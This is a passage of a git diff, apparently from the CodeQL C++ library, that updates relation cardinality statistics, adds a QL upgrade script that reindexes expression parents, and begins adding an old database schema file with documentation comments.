@@ -34504,19 +34693,19 @@
         </relation>
         <relation>
             <name>stmtparents</name>
-            <cardinality>4064694</cardinality>
+            <cardinality>4052307</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4064694</v>
+                    <v>4052307</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>12245</v>
+                    <v>12210</v>
                 </e>
                 <e>
                     <k>parent</k>
-                    <v>1724432</v>
+                    <v>1719451</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34530,7 +34719,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4064694</v>
+                                    <v>4052307</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34546,7 +34735,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4064694</v>
+                                    <v>4052307</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34562,12 +34751,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4022</v>
+                                    <v>4011</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1002</v>
+                                    <v>999</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -34577,37 +34766,37 @@
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1557</v>
+                                    <v>1553</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>8</b>
-                                    <v>1021</v>
+                                    <v>1018</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>12</b>
-                                    <v>794</v>
+                                    <v>792</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>29</b>
-                                    <v>1078</v>
+                                    <v>1075</v>
                                 </b>
                                 <b>
                                     <a>29</a>
                                     <b>38</b>
-                                    <v>920</v>
+                                    <v>917</v>
                                 </b>
                                 <b>
                                     <a>41</a>
                                     <b>77</b>
-                                    <v>926</v>
+                                    <v>924</v>
                                 </b>
                                 <b>
                                     <a>77</a>
-                                    <b>196938</b>
-                                    <v>699</v>
+                                    <b>196934</b>
+                                    <v>697</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34623,12 +34812,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4022</v>
+                                    <v>4011</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1002</v>
+                                    <v>999</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -34638,37 +34827,37 @@
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1557</v>
+                                    <v>1553</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>8</b>
-                                    <v>1021</v>
+                                    <v>1018</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>12</b>
-                                    <v>794</v>
+                                    <v>792</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>29</b>
-                                    <v>1078</v>
+                                    <v>1075</v>
                                 </b>
                                 <b>
                                     <a>29</a>
                                     <b>38</b>
-                                    <v>920</v>
+                                    <v>917</v>
                                 </b>
                                 <b>
                                     <a>41</a>
                                     <b>77</b>
-                                    <v>926</v>
+                                    <v>924</v>
                                 </b>
                                 <b>
                                     <a>77</a>
-                                    <b>196938</b>
-                                    <v>699</v>
+                                    <b>196934</b>
+                                    <v>697</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34684,32 +34873,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>989567</v>
+                                    <v>987314</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>374640</v>
+                                    <v>372959</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>106047</v>
+                                    <v>105742</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>111564</v>
+                                    <v>111231</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>17</b>
-                                    <v>130216</v>
+                                    <v>129842</v>
                                 </b>
                                 <b>
                                     <a>17</a>
                                     <b>1943</b>
-                                    <v>12396</v>
+                                    <v>12361</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34725,32 +34914,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>989567</v>
+                                    <v>987314</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>374640</v>
+                                    <v>372959</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>106047</v>
+                                    <v>105742</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>111564</v>
+                                    <v>111231</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>17</b>
-                                    <v>130216</v>
+                                    <v>129842</v>
                                 </b>
                                 <b>
                                     <a>17</a>
                                     <b>1943</b>
-                                    <v>12396</v>
+                                    <v>12361</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34760,22 +34949,22 @@
         </relation>
         <relation>
             <name>ishandler</name>
-            <cardinality>59279</cardinality>
+            <cardinality>59432</cardinality>
             <columnsizes>
                 <e>
                     <k>block</k>
-                    <v>59279</v>
+                    <v>59432</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>stmt_decl_bind</name>
-            <cardinality>585681</cardinality>
+            <cardinality>585632</cardinality>
             <columnsizes>
                 <e>
                     <k>stmt</k>
-                    <v>545527</v>
+                    <v>545482</v>
                 </e>
                 <e>
                     <k>num</k>
@@ -34783,7 +34972,7 @@
                 </e>
                 <e>
                     <k>decl</k>
-                    <v>585576</v>
+                    <v>585527</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -34797,12 +34986,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>524646</v>
+                                    <v>524602</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>19</b>
-                                    <v>20881</v>
+                                    <v>20879</v>
                                 </b>
                             </bs>
                         </hist>
@@ -34818,12 +35007,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>524646</v>
+                                    <v>524602</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>19</b>
-                                    <v>20881</v>
+                                    <v>20879</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35021,7 +35210,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>585538</v>
+                                    <v>585489</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -35042,7 +35231,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>585576</v>
+                                    <v>585527</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35052,11 +35241,11 @@
         </relation>
         <relation>
             <name>stmt_decl_entry_bind</name>
-            <cardinality>528084</cardinality>
+            <cardinality>528040</cardinality>
             <columnsizes>
                 <e>
                     <k>stmt</k>
-                    <v>488233</v>
+                    <v>488193</v>
                 </e>
                 <e>
                     <k>num</k>
@@ -35064,7 +35253,7 @@
                 </e>
                 <e>
                     <k>decl_entry</k>
-                    <v>528025</v>
+                    <v>527981</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -35078,12 +35267,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>467616</v>
+                                    <v>467578</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>19</b>
-                                    <v>20616</v>
+                                    <v>20615</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35099,12 +35288,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>467616</v>
+                                    <v>467578</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>19</b>
-                                    <v>20616</v>
+                                    <v>20615</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35302,7 +35491,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>528004</v>
+                                    <v>527960</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -35323,7 +35512,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>528025</v>
+                                    <v>527981</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35333,15 +35522,15 @@
         </relation>
         <relation>
             <name>blockscope</name>
-            <cardinality>1442932</cardinality>
+            <cardinality>1438063</cardinality>
             <columnsizes>
                 <e>
                     <k>block</k>
-                    <v>1442932</v>
+                    <v>1438063</v>
                 </e>
                 <e>
                     <k>enclosing</k>
-                    <v>1326345</v>
+                    <v>1321870</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -35355,7 +35544,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1442932</v>
+                                    <v>1438063</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35371,12 +35560,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1260264</v>
+                                    <v>1256011</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>13</b>
-                                    <v>66081</v>
+                                    <v>65858</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35386,19 +35575,19 @@
         </relation>
         <relation>
             <name>jumpinfo</name>
-            <cardinality>253977</cardinality>
+            <cardinality>253995</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>253977</v>
+                    <v>253995</v>
                 </e>
                 <e>
                     <k>str</k>
-                    <v>21151</v>
+                    <v>21152</v>
                 </e>
                 <e>
                     <k>target</k>
-                    <v>53042</v>
+                    <v>53046</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -35412,7 +35601,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>253977</v>
+                                    <v>253995</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35428,7 +35617,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>253977</v>
+                                    <v>253995</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35444,7 +35633,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>9874</v>
+                                    <v>9875</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -35490,7 +35679,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16716</v>
+                                    <v>16717</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -35526,12 +35715,12 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>26426</v>
+                                    <v>26428</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>12896</v>
+                                    <v>12897</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -35541,7 +35730,7 @@
                                 <b>
                                     <a>5</a>
                                     <b>8</b>
-                                    <v>4690</v>
+                                    <v>4691</v>
                                 </b>
                                 <b>
                                     <a>8</a>
@@ -35562,7 +35751,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>53042</v>
+                                    <v>53046</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35572,19 +35761,19 @@
         </relation>
         <relation>
             <name>preprocdirects</name>
-            <cardinality>4447274</cardinality>
+            <cardinality>4437448</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4447274</v>
+                    <v>4437448</v>
                 </e>
                 <e>
                     <k>kind</k>
-                    <v>1050</v>
+                    <v>1048</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>4444753</v>
+                    <v>4434933</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -35598,7 +35787,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4447274</v>
+                                    <v>4437448</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35614,7 +35803,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4447274</v>
+                                    <v>4437448</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35630,52 +35819,52 @@
                                 <b>
                                     <a>121</a>
                                     <b>122</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>693</a>
                                     <b>694</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>794</a>
                                     <b>795</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>917</a>
                                     <b>918</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>1697</a>
                                     <b>1698</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>1785</a>
                                     <b>1786</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>2983</a>
                                     <b>2984</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>3799</a>
                                     <b>3800</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>6290</a>
                                     <b>6291</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>23260</a>
                                     <b>23261</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35691,52 +35880,52 @@
                                 <b>
                                     <a>121</a>
                                     <b>122</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>693</a>
                                     <b>694</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>794</a>
                                     <b>795</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>917</a>
                                     <b>918</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>1697</a>
                                     <b>1698</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>1785</a>
                                     <b>1786</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>2983</a>
                                     <b>2984</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>3799</a>
                                     <b>3800</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>6290</a>
                                     <b>6291</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                                 <b>
                                     <a>23236</a>
                                     <b>23237</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35752,12 +35941,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4444648</v>
+                                    <v>4434828</v>
                                 </b>
                                 <b>
                                     <a>25</a>
                                     <b>26</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35773,7 +35962,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4444753</v>
+                                    <v>4434933</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35783,15 +35972,15 @@
         </relation>
         <relation>
             <name>preprocpair</name>
-            <cardinality>1443876</cardinality>
+            <cardinality>1442296</cardinality>
             <columnsizes>
                 <e>
                     <k>begin</k>
-                    <v>1206927</v>
+                    <v>1206147</v>
                 </e>
                 <e>
                     <k>elseelifend</k>
-                    <v>1443876</v>
+                    <v>1442296</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -35805,17 +35994,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>986027</v>
+                                    <v>985992</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>210516</v>
+                                    <v>209805</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>11</b>
-                                    <v>10384</v>
+                                    <v>10349</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35831,7 +36020,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1443876</v>
+                                    <v>1442296</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35841,41 +36030,41 @@
         </relation>
         <relation>
             <name>preproctrue</name>
-            <cardinality>784479</cardinality>
+            <cardinality>782302</cardinality>
             <columnsizes>
                 <e>
                     <k>branch</k>
-                    <v>784479</v>
+                    <v>782302</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>preprocfalse</name>
-            <cardinality>325686</cardinality>
+            <cardinality>327409</cardinality>
             <columnsizes>
                 <e>
                     <k>branch</k>
-                    <v>325686</v>
+                    <v>327409</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>preproctext</name>
-            <cardinality>3585423</cardinality>
+            <cardinality>3577502</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>3585423</v>
+                    <v>3577502</v>
                 </e>
                 <e>
                     <k>head</k>
-                    <v>2599941</v>
+                    <v>2594197</v>
                 </e>
                 <e>
                     <k>body</k>
-                    <v>1520449</v>
+                    <v>1517194</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -35889,7 +36078,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3585423</v>
+                                    <v>3577502</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35905,7 +36094,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3585423</v>
+                                    <v>3577502</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35921,12 +36110,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2452360</v>
+                                    <v>2446942</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>740</b>
-                                    <v>147580</v>
+                                    <v>147254</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35942,12 +36131,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2537548</v>
+                                    <v>2531941</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>5</b>
-                                    <v>62393</v>
+                                    <v>62255</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35963,17 +36152,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1376334</v>
+                                    <v>1373398</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>6</b>
-                                    <v>114073</v>
+                                    <v>113821</v>
                                 </b>
                                 <b>
                                     <a>6</a>
-                                    <b>11582</b>
-                                    <v>30041</v>
+                                    <b>11581</b>
+                                    <v>29974</v>
                                 </b>
                             </bs>
                         </hist>
@@ -35989,17 +36178,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1379380</v>
+                                    <v>1376438</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>7</b>
-                                    <v>114388</v>
+                                    <v>114135</v>
                                 </b>
                                 <b>
                                     <a>7</a>
-                                    <b>2959</b>
-                                    <v>26680</v>
+                                    <b>2958</b>
+                                    <v>26621</v>
                                 </b>
                             </bs>
                         </hist>
@@ -36009,15 +36198,15 @@
         </relation>
         <relation>
             <name>includes</name>
-            <cardinality>316718</cardinality>
+            <cardinality>315649</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>316718</v>
+                    <v>315649</v>
                 </e>
                 <e>
                     <k>included</k>
-                    <v>118474</v>
+                    <v>118074</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -36031,7 +36220,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>316718</v>
+                                    <v>315649</v>
                                 </b>
                             </bs>
                         </hist>
@@ -36047,32 +36236,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>61833</v>
+                                    <v>61624</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>22184</v>
+                                    <v>22109</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>12744</v>
+                                    <v>12701</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>10384</v>
+                                    <v>10349</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>14</b>
-                                    <v>8968</v>
+                                    <v>8937</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>47</b>
-                                    <v>2360</v>
+                                    <v>2352</v>
                                 </b>
                             </bs>
                         </hist>
@@ -36130,15 +36319,15 @@
         </relation>
         <relation>
             <name>link_parent</name>
-            <cardinality>40018704</cardinality>
+            <cardinality>40143068</cardinality>
             <columnsizes>
                 <e>
                     <k>element</k>
-                    <v>5094359</v>
+                    <v>5115983</v>
                 </e>
                 <e>
                     <k>link_target</k>
-                    <v>349</v>
+                    <v>352</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -36152,17 +36341,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>694015</v>
+                                    <v>701934</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>9</b>
-                                    <v>43135</v>
+                                    <v>44146</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>10</b>
-                                    <v>4357208</v>
+                                    <v>4369903</v>
                                 </b>
                             </bs>
                         </hist>
@@ -36178,52 +36367,52 @@
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>124724</a>
-                                    <b>124725</b>
-                                    <v>34</v>
+                                    <a>124207</a>
+                                    <b>124208</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>124828</a>
-                                    <b>124829</b>
-                                    <v>34</v>
+                                    <a>124311</a>
+                                    <b>124312</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>124926</a>
-                                    <b>124927</b>
-                                    <v>34</v>
+                                    <a>124409</a>
+                                    <b>124410</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>124964</a>
-                                    <b>124965</b>
-                                    <v>34</v>
+                                    <a>124447</a>
+                                    <b>124448</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>124978</a>
-                                    <b>124979</b>
-                                    <v>34</v>
+                                    <a>124454</a>
+                                    <b>124455</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>124980</a>
-                                    <b>124981</b>
-                                    <v>34</v>
+                                    <a>124463</a>
+                                    <b>124464</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>126863</a>
-                                    <b>126864</b>
-                                    <v>34</v>
+                                    <a>126339</a>
+                                    <b>126340</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>132946</a>
-                                    <b>132947</b>
-                                    <v>34</v>
+                                    <a>132460</a>
+                                    <b>132461</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>134697</a>
-                                    <b>134698</b>
-                                    <v>34</v>
+                                    <a>134288</a>
+                                    <b>134289</b>
+                                    <v>35</v>
                                 </b>
                             </bs>
                         </hist>
diff --git a/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/exprparents.ql b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/exprparents.ql
new file mode 100644
index 00000000000..ca800c8e311
--- /dev/null
+++ b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/exprparents.ql
@@ -0,0 +1,21 @@
+class Element extends @element {
+  string toString() { none() }
+}
+
+class Expr extends @expr {
+  string toString() { none() }
+}
+
+class Stmt extends @stmt {
+  string toString() { none() }
+}
+
+predicate isStmtWithInitializer(Stmt stmt) {
+  exists(int kind | stmts(stmt, kind, _) | kind = 2 or kind = 11 or kind = 35)
+}
+
+from Expr child, int index, int index_new, Element parent
+where
+  exprparents(child, index, parent) and
+  if isStmtWithInitializer(parent) then index_new = index + 1 else index_new = index
+select child, index_new, parent
diff --git a/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/old.dbscheme b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/old.dbscheme
new file mode 100644
index 00000000000..e9a518baf14
--- /dev/null
+++ b/cpp/ql/lib/upgrades/e9a518baf14f4322ac243578a8e1391386ff030f/old.dbscheme
@@ -0,0 +1,2096 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+    /**
+     * An invocation of the compiler. Note that more than one file may
+     * be compiled per invocation. For example, this command compiles
+     * three source files:
+     *
+     *   gcc -c f1.c f2.c f3.c
+     */
+    unique int id : @compilation,
+    string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | *path to extractor*
+ * 1   | `--mimic`
+ * 2   | `/usr/bin/gcc`
+ * 3   | `-c`
+ * 4   | f1.c
+ * 5   | f2.c
+ * 6   | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+    int id : @compilation ref,
+    int num : int ref,
+    string arg : string ref
+);
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | f1.c
+ * 1   | f2.c
+ * 2   | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+    int id : @compilation ref,
+    int num : int ref,
+    int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1    | CPU seconds used by the extractor frontend
+ * 2    | Elapsed seconds during the extractor frontend
+ * 3    | CPU seconds used by the extractor backend
+ * 4    | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+    int id : @compilation ref,
+    int num : int ref,
+    /* kind:
+       1 = frontend_cpu_seconds
+       2 = frontend_elapsed_seconds
+       3 = extractor_cpu_seconds
+       4 = extractor_elapsed_seconds
+    */
+    int kind : int ref,
+    float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+    int diagnostic : @diagnostic ref,
+    int compilation : @compilation ref,
+    int file_number : int ref,
+    int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+    int id : @externalDataElement,
+    string path : string ref,
+    int column: int ref,
+    string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+    unique int id: @external_package,
+    string namespace : string ref,
+    string package_name : string ref,
+    string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+    int fileid : @file ref,
+    int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+    unique int id : @svnentry,
+    string revision : string ref,
+    string author : string ref,
+    date revisionDate : date ref,
+    int changeSize : int ref
+)
+
+svnaffectedfiles(
+    int id : @svnentry ref,
+    int file : @file ref,
+    string action : string ref
+)
+
+svnentrymsg(
+    unique int id : @svnentry ref,
+    string message : string ref
+)
+
+svnchurn(
+    int commit : @svnentry ref,
+    int file : @file ref,
+    int addedLines : int ref,
+    int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+    /** The location of an element that is not an expression or a statement. */
+    unique int id: @location_default,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+    /** The location of a statement. */
+    unique int id: @location_stmt,
+    int container: @container ref,
+    int startLine: int ref,
+    int startColumn: int ref,
+    int endLine: int ref,
+    int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
